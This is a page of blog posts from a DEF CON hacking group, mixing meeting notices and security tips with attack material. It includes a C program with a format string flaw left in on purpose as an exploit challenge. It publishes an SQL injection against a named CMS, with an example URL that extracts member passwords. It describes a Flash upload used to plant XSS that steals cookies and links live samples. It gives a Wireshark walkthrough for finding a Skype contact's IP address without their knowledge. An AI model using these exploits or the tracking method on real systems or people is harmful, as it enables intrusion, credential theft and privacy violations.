Author Archives: AnarchyAngel

Format string $20 challenge

Posted on by
Reply

At the last meeting I showed everyone how to use a format string vulnerability in a password storage app to bypass the master password and pull data out of memory. That is just one way to exploit this type of vulnerability so I challanged everyone at the meeting to get the app I used “code below” to execute their supplied input. The first person to let me know they got it and do a demo get $20! So it pays to be a little early.

#include < stdio.h >
#include < string.h >

int main (int argc, char *argv[])
{
char** spw = "dc414 pwnz";
char text[1025];
strcpy(text, argv[1]);
if (strcmp(text, "asd123")==0) {
printf("Correct the password is %s \n",spw);
return 0;
}
printf(text);
printf(" is wrong\n");
return 0;
}

Info for next meeting.

Posted on by
2

Because we are still looking for a new home our next meeting will be at The Meetupery:

N69W25055 Indiangrass Lane
Suite G
Sussex, WI 53089

Consider this a little test drive of a new space just opening up. Donations are encouraged. Cash and/or a non-perishable food items.

Can’t make it in person? Add dc414 to one of your circles in Google+
and join our Hangout!

Telmanik CMS Press 1.01 SQLi 0day

Posted on by
Reply

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: SQL Injection
[x] Vendor: www.telmanik.com
[x] Script Name: Telmanik CMS Press
[x] Script Version: 1.01b
[x] Script DL: http://www.telmanik.com/download/Telmanik_CMS_Press/1.01_beta/telmanik_cms_press_v1.01_beta.zip
[x] Author: Anarchy Angel
[x] Mail : anarchy[at]dc414[dot]org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:
http://site.org/themes/pages.php?page_name=[SQLi]

you have to formate you injection like so:
union_select_row_from_table
Replacing spaces with “_”.

Ex:
http://site.org/themes/pages.php?page_name=union_select_password_from_members

This is a special DefCon 21 kick off from me! See ya there 😉

Special Tnx : dc414, lun0s, proge, sToRm, progenic, gny

Tips for dc414 members (and everyone else) at DEFCON21

Posted on by
Reply

Here are a few tips and guidelines to follow while in Vegas:

  • Keep an eye on dc414’s twitter, Facebook, and G+ feeds to keep up to date on what we are doing so you can join in on the fun.
  • If you have access to dc414’s VPN be sure to use it at all times on your tablet, phone, and laptop. If you do not have access to the VPN but have a server you can access “like one on your home connection”, set up a ssh tunnel and use it at all times.
  • Do not use USB “or CDs/DVDs” sticks from anyone, other then ones you brought your self, including ones you find on the floor or parking lot.
  • Do not leave USB sticks laying out that you intend to use later.
  • Do not let anyone connect their phone to your system for charging or any other reason.
  • Do not connect your phone/tablet to anyones computer other then yours.
  • When using the local WIFI “hotel, convention center, etc” Do not visit any site you intend to login to with the HTTP protocol “ie http://mail.dc414.org” only connect using HTTPS “ie https://mail.dc414.org”
  • Do not scan any QR codes with apps that do not verify the content before displaying it or opening other programs.
  • Do not ever leave your computer, phone, or tablet unattended

July meeting recap

Posted on by
Reply

Let me start by saying many thanks to Milwaukee Makerspace for hosting our meeting and to Klaiviel for hooking us up. Ulic got us rolling and gave a awesome presentation on PRISM and other government spying programs. dw5304 was up next and did his cable modem magic for us. Then Klaiviel showed us how to crash RC planes and quad-copters. After words he gave us the grand tour of Makerspace. The rest of the night everyone socialized while vlad, darkwind, and Klaiviel crashed a quad-copter.

UPDATE:
You can get a copy of Ulic’s slides HERE enjoy 🙂

Upload your own XSS

Posted on by
Reply

A few meetings ago i gave a demo on uploading a flash file to file hosting sites that contains a evil XSS payload. Here is my write up on it.

A while back I was doing a penetration test on a friends file hosting service application. His service allowed the uploading of flash files and when you viewed the files detail page it showed you a preview of the flash movie. At the time I knew you could use actionscript to put javascript in a flash file but I was not sure if it would have full access to the DOM and allow us to do evil stuff.

I started messing around in actionscript and came up with this:

After compiling it and uploading, when viewing the preview page I was greeted with a prompt box that had the contents of my cookie for that domain and it was displayed in text with in the flash embed! So, just like that we are able to manufacture a XSS vulnerability on a application that is otherwise secure.

There is some protection for this attack. When you embed a flash file in a web page that you don’t trust you should add the allowScriptAccess param and set it to none. However this can be bypassed easily, just go to the swf file itself and it will still execute the javascript supplied by our swf file. This means to be fully protected you will also need to use a modrewrite rule to force a download when ever someone tries to view a swf file directly.

Here is one example – http://www.ziddu.com/viewfile/22413513/xss.swf.html

Here is another – http://swfchan.org/2335/xss.swf

June Meeting Recap

Posted on by
Reply

Thanks to all that attended the June meeting.  Lot’s of interesting discussion and demos as usual.

Some highlights were Klaiviel giving an in-depth look at the state of 3D printing with a focus on weapons and some of the issues surrounding it.

We later headed for the roof of Bucketworks to learn about DirectTV hardware installations and some of the tools the pros use.  We got to learn about different satellites  and had some really good discussions while the ISS zipped past brightly in the night sky.  Thanks Darkwind.

dw5304 took over next and showed off some 40Gb Ethernet gear along with a demo.  We also had fun exploiting some really awful security of a customer management portal that dw5304 stumbled upon.

edgewalker was one of the lucky contestants to win the Free Junk Giveaway.  Enjoy the LetterPerfect software on your IBM/DOS compatible PC! 

Some pictures courtesy of our beloved overlord, AnarchyAngel.

Getting IP addresses from contacts on Skype as told by Noize.

Posted on by
3

Skype is an extremely popular, proprietary, cross-platform, peer-to-peer Voice-over-IP software client written by Skype Communications SARL, which is now owned by Microsoft Corporation. Due to its peer-to-peer always-on nature it is possible for a researcher to determine characteristics about a target computer, without the user’s knowledge. This can be leveraged to obtain information like the IP address of a target computer.

This is an Educational Guide only; use knowledge at your own risk! and always “the quieter you become, the more you are able to hear”.

Prerequisites

  • Your IP address

Skype Setup

  1. Head into Tools -> Options -> Advanced -> Connection
  2. Uncheck the checkbox labeled: “Use port 80 and 443 as alternative for incoming connections.”
  3. Use port 1210 for incoming connections.  Located right about the checkbox from step 2
    The reason for using this port is because it’s a unassigned tcp/udp port so we will not be DoSing a port, or cause other issues.

Wireshark Setup

  1. Open wireshark and start watching your incoming and outgoing traffic.
    Sniff the interface you will be using Skype on
  2. Create a filter like this 
    ip.src == $your_ip_address and udp.srcport == 1210

Capture IP

  1. Start a call to a person, online or offline
  2. Watch wireshark and it will start to give you outgoing and incoming connections
  3. Once you have an outgoing IP that is consistent to the incoming IP, you have found it.

Happy Hacking!

Many thanks to Noize for writing this up and allowing us to share it.